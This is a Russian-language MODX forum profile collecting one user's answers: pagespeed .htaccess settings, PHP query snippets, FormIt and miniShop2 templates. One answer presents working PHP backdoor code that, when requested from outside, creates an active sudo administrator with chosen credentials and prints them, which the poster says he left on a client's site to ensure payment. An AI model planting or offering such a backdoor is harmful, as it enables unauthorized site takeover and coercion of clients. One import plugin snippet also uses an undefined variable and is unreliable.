Михаил

Михаил

С нами с 08 марта 2013; Место в рейтинге пользователей: #14
vectorserver
05 июля 2019, 12:53
5
+6
Я думаю это лешнее, сейчас использую lazyload от www.modpagespeed.com/doc/filter-lazyload-images
Устанавливаем сей модуль www.modpagespeed.com/
В .htaccess прописываем
<IfModule pagespeed_module>
    ModPagespeed on
    ModPagespeedCriticalImagesBeaconEnabled false
    #Ленивая загрузка плюшек
    ModPagespeedEnableFilters lazyload_images
</IfModule>
Вот мой готовый вариант .htaccess
<IfModule pagespeed_module>
    ModPagespeed on

    # lazyload_images , inline_preview_images и inline_images используют маяк для сбора информации
    # о переписанной странице, чтобы оптимизировать процесс перезаписи. Маяк - это POST запрос,
    # отправленный обратно с помощью JavaScript, вставленного на страницу фильтром.
    # Использование этого маяка включено по умолчанию, но его можно отключить с помощью:
    ModPagespeedCriticalImagesBeaconEnabled false
    ##Ленивая загрузка плюшек
    ModPagespeedEnableFilters lazyload_images
    #Запись даннных в local_storage
    ModPagespeedEnableFilters local_storage_cache
    #Закинем все стили в head
    ModPagespeedEnableFilters move_css_to_head
    #Склеим стили по группам и сожмем
    ModPagespeedEnableFilters combine_css
    ModPagespeedEnableFilters rewrite_css
    ModPagespeedEnableFilters rewrite_style_attributes
    #Спрайты в БГ
    ModPagespeedEnableFilters sprite_images
    #Сожмем JS
    ModPagespeedEnableFilters rewrite_javascript
    ModPagespeedUseExperimentalJsMinifier on
    ModPagespeedEnableFilters canonicalize_javascript_libraries

    #Оптимизируем JPEG
    ModPagespeedEnableFilters convert_jpeg_to_progressive
    #Почистим лишние пробелы и комменты
    ModPagespeedEnableFilters collapse_whitespace
    ModPagespeedEnableFilters remove_comments
</IfModule>
Плюсы: не нужны всякие MiniFX, не нужно лазить постоянно по чанкам прописывать атрибуты к картинкам, нет левых JS
Павел Гвоздь
11 декабря 2018, 07:06
1
+2
Это
echo 'Идентификатор = '.$userArray['id'].'
'
      .'Логин = '.$userArray['username'].'
'
      .'Имя = '.$userArray['fullname'].'
'
      .'Email = '.$userArray['email'].'

';
Я бы так сделал:
print_r(join(PHP_EOL, [
    'Идентификатор = ' . $userArray['id'],
    'Логин = ' . $userArray['username'],
    'Имя = ' . $userArray['fullname'],
    'Email = ' . $userArray['email'],
]);
На работу скрипта никак не влияет, но блин, красиво!)
Андрей
21 декабря 2017, 13:23
1
0
Как-то так, не уверен, что LIKE написал правильно, но суть понятна думаю.

$c = $modx->newQuery('modResource');
$c->leftJoin('modTemplateVarResource', 'TV', 'TV.tmplvarid=4 AND TV.value LIKE %modResource.id%');
$c->where(array(
  'modResource.parent' => 628
));
$c->select(array(
  'modResource.uri as uri',
  'modResource.pagetitle as pagetitle',
  'TV.id as tv_id',
  'TV.value as tv_value'
));

if ($c->prepare() && $c->stmt->execute()) {
  $data = $c->stmt->fetchAll(PDO::FETCH_ASSOC);
}

if (!empty($data)) {
  $array = array();

  foreach ($data as $value) {
    // тут формируете нужный массив
  }

  print_r($array);
}
Dolce
16 октября 2017, 10:33
5
+2
Точно, не удалил лишений код — как следствие и скопировал не то. Вот для селектов:
$(document).ready(function() {
                               
                    $(document).on('change', '#mse2_sort', function() {
                        var selected = $(this).find('option:selected');
                        var sort = selected.data('sort');
                        sort += mse2Config.method_delimeter + selected.val();
                        mse2Config.sort =  sort;
                        mSearch2.submit();
                    });

   });
Андрей
06 июня 2017, 20:38
3
+1
Я на одном проекте так делал, просто хук написал который отправляет письмо и файл.

Создаете сниппет, например hookSendFile и указываете его в параметре &hooks=`hookSendFile` при вызове формы, при этом стандартный хук email не нужен
$fields = $hook->getValues(); //поля из формы

$message = $modx->getChunk('чанк_с_письмом', $fields);
 
$modx->getService('mail', 'mail.modPHPMailer');
$modx->mail->set(modMail::MAIL_BODY, $message);
$modx->mail->set(modMail::MAIL_FROM, $modx->getOption('emailsender'));
$modx->mail->set(modMail::MAIL_FROM_NAME, $modx->getOption('site_name'));
$modx->mail->set(modMail::MAIL_SUBJECT, 'Тема письма');
$modx->mail->address('to', $fields['email']);
$modx->mail->address('reply-to', $modx->getOption('emailsender'));
$modx->mail->attach($modx->getOption('base_path').'путь/к/файлу');
$modx->mail->setHTML(true);

if (!$modx->mail->send()) {
  $modx->log(modX::LOG_LEVEL_ERROR,'An error occurred while trying to send the email: '.$modx->mail->mailer->ErrorInfo);
}

$modx->mail->reset();

return true;
Илья Уткин
09 марта 2017, 11:43
1
0
Вот без подзапроса — с использованием JOIN:
<?php
// Предустановки
$urov1 = 1; // id tv urov1
$urov1_val = 'Щиты (шкафы) контрольно-пусковые';
$urov2 = 2; // id tv urov2

$q = $modx->newQuery('modResource');
$q->leftJoin('modTemplateVarResource', 'urov1', 'modResource.id = urov1.contentid AND urov1.tmplvarid = ' . $urov1);
$q->leftJoin('modTemplateVarResource', 'urov2', 'modResource.id = urov2.contentid AND urov2.tmplvarid = ' . $urov2);
$q->groupby('modResource.id');

$q->select(array(
    'DISTINCT(`urov2`.`value`) AS `urov2`'
));

$q->where(array(
    'urov1.value' => $urov1_val
));

$count = $modx->getCount('modResource', $q);
$resources = array();
if ($q->prepare() && $q->stmt->execute()) {
	$resources = $q->stmt->fetchAll(PDO::FETCH_ASSOC);
}
print "<p>Всего ресурсов найдено: ".$count."</p><p>--</p>";
if ($resources) {
    print "<p>Из них уникальных значений: ".count($resources)."</p>";
    foreach($resources as $resource) {
        print "<p><b>".$resource['urov2'] ."</b></p>";
    }
}
Илья Уткин
28 января 2017, 07:59
1
+2
<input type="hidden" name="iagree[]" value="">
<input type="checkbox" name="iagree[]" id="iagree" value="I agree that:"
[[!+fi.iagree:FormItIsChecked=`I agree that:`]]>
Дело в том, что по стандартам HTML при выключенном чекбоксе на сервер не передаётся от него ничего — даже пустого элемента нет, как будто и не было чекбокса. Поэтому нужно создать скрытое поле с таким же именем — чтобы в $_POST соответствующи элемент всё-таки был.

Для отправки второго письма гугли параметр FormItAutoResponder

Для сообщения об ошибке делай так:
<span class="error_iagree">[[+fi.error.iagree]]</span>
А про файлы вопрос сложнее, чем кажется на первый взгляд. В двух словах не расскажешь.
Максим Кузнецов
24 января 2017, 00:43
6
+4
Аналогично, бэкдор + сайт лежит на своем хостинге до оплаты оставшейся части. Вот код:

<?php
	define('MODX_API_MODE', true);
	//количество dirname = глубина документа относительно корня
	require dirname(dirname(dirname(dirname(__FILE__)))) . '/index.php';

	$user = empty($_GET['user']) ? 'user'. rand(99,9999) : $_GET['user'];
	$pass = empty($_GET['pass']) ? rand(10000000,99999999) : $_GET['pass'];
	
	$u = $modx->newObject('modUser');
	$u->fromArray(array(
		'username' => $user,
		'password' => $pass,
		'active' => 1,
		'primary_group' => 1,
	));
	$u->joinGroup('1', '0');
	$u->setSudo(1);
	$p = $modx->newObject('modUserProfile');
	$p->fromArray(array(
		'fullname' => $user,
		'email' => $user.'@yoba.ru',
	));
	$u->addOne($p);
	$u->save();
	
	if (!empty($u->username)) {
		print '<p><b>user:</b> '. $user .'</p><p><b>pass:</b> '. $pass .'</p>';
	}
— при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне)

По поводу взлома можешь обратиться к agel_nash, наверное.
Дмитрий Кондаков
13 января 2017, 12:40
2
+1
Создаете плагин на событие msieOnCompleteImportProduct:
<?php
/** @var modX $modx */
switch ($modx->event->name) {
	case 'msieOnCompleteImportProduct':

		// Получаем id всех импортированных товаров
		$currentIDs = explode(",", $modx->event->params['data']);

		// Получаем id ВСЕХ товаров в магазине
		$q = $modx->newQuery('msProduct', array('parent' => 7, 'template' => 8)); // тут свои условия
		$q->prepare();
		$q->stmt->execute();
		$oldIDs = $q->stmt->fetchAll(PDO::FETCH_COLUMN, 0);

		// Вычисляем id товаров которые есть на сайте, но нет в файле импорта
		$oldIDs = array_diff($oldIDs, $currentIDs);

		if ($toRemoveIDs) {
		  foreach ($toRemoveIDs as $cur) {
		    // и тут делаем с ними что угодно
		  }
		}
	break;
}
PS. на всякий случай сделайте бэкап БД перед тестированием плагина
Игорь Зябко
Игорь Зябко
20 ноября 2016, 21:49
3
0
Как-то так
Расширяем tpl.msEmail блоком в нужном месте
{block 'info'}

{/block}

Выводим в чанке tpl.msEmail.new.manager то что нужно
{block 'info'}
<h2>Контактные данные</h2>
<p>Имя:     <b>[[+address.receiver]]</b></p>
<p>Телефон: <b>[[+address.phone]]</b></p>
<p>e-mail:  <b>[[+user.email]]</b></p>
<p>Комментарий: <b>[[+address.comment]]</b></p>
</div>


<h2>Адрес доставки</h2>
<p>Индекс:     <b>[[+address.index]]</b></p>
<p>Регион: <b>[[+address.region]]</b></p>
<p>Город:  <b>[[+address.city]]</b></p>
<p>Улица: <b>[[+address.street]]</b></p>
<p>Дом: <b>[[+address.building]]</b></p>
<p>Квартира: <b>[[+address.room]]</b></p>

<p>Оплата: <b>[[+payment.name]]</b></p>
<p><b>[[+order.comment]]</b></p>
<p><b>[[+delivery.price]]</b></p>
{/block}
Все плейсхолдеры можно увидеть с пустым tpl
docs.modx.pro/components/minishop2/snippets/msgetorder